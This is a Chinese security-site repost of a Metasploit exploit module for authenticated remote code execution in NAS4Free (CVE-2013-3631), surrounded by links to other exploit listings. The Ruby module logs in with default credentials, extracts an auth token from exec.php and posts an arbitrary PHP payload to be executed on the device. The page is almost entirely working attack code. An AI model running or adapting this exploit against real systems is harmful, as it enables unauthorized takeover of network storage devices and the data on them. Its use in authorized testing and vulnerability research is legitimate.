首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NAS4Free Arbitrary Remote Code Execution
来源:metasploit.com 作者:Perry 发布时间:2013-10-31  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'rexml/document'

class Metasploit4 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NAS4Free Arbitrary Remote Code Execution',
      'Description'    => %q{
      NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have
      the code executed remotely. This module was successfully tested against NAS4Free version
      9.1.0.1.804. Earlier builds are likely to be vulnerable as well.
      },
      'Author'         => [
        'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2013-3631'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
        ],
      'Payload'	=>
        {
          'Space' => 21244,
          'DisableNops' => true,
          'BadChars' => ''
        },
      'Targets'	=>
        [
          [ 'Automatic Target', { } ]
        ],
      'Privileged' => true,
      'Platform' => ['php'],
      'Arch' => ARCH_PHP,
      'DisclosureDate' => 'Oct 30 2013',
      'DefaultTarget' => 0))

      register_options([
        OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"])
      ], self.class)
  end

  def exploit
    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/')
    })

    sess = init.get_cookies

    post = {
      'username' => datastore["USERNAME"],
      'password' => datastore["PASSWORD"]
    }

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/login.php'),
      'vars_post' => post,
      'cookie' => sess
    })

    if !login or login.code != 302
      fail_with("Login failed")
    end

    exec_resp = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/exec.php'),
      'cookie' => sess
    })

    if !exec_resp or exec_resp.code != 200
      fail_with('Error getting auth token from exec.php')
    end

    authtoken = ''
    #The html returned is not well formed, so I can't parse it with rexml
    exec_resp.body.each_line do |line|
      next if line !~ /authtoken/
      authtoken = line
    end

    doc = REXML::Document.new authtoken
    input = doc.root

    if !input
      fail_with('Error getting auth token')
    end

    token = input.attributes["value"]

    data = Rex::MIME::Message.new
    data.add_part('', nil, nil, 'form-data; name="txtCommand"')
    data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"')
    data.add_part('', nil, nil, 'form-data; name="dlPath"')
    data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""')
    data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"')
    #data.add_part(token, nil, nil, 'form-data; name="authtoken"')

    #I need to build the last data part by hand due to a bug in rex
    data_post = data.to_s
    data_post = data_post[0..data_post.length-data.bound.length-7]

    data_post << "\r\n--#{data.bound}"
    data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n"
    data_post << token
    data_post << "\r\n--#{data.bound}--\r\n\r\n"

    resp = send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/exec.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data_post,
      'cookie' => sess
    })
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Zabbix Authenticated Remote Co
·vTiger CRM 5.3.0 / 5.4.0 Authe
·ISPConfig Authenticated Arbitr
·Watermark Master Buffer Overfl
·OpenMediaVault Cron Remote Com
·AudioCoder 0.8.22 (.m3u) - SEH
·Moodle Remote Command Executio
·Apache + PHP 5.x Remote Code E
·Beetel Connection Manager NetC
·ImpressPages CMS v3.6 manage()
·ProcessMaker Open Source Authe
·Avid Media Composer 5.5 - Avid
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved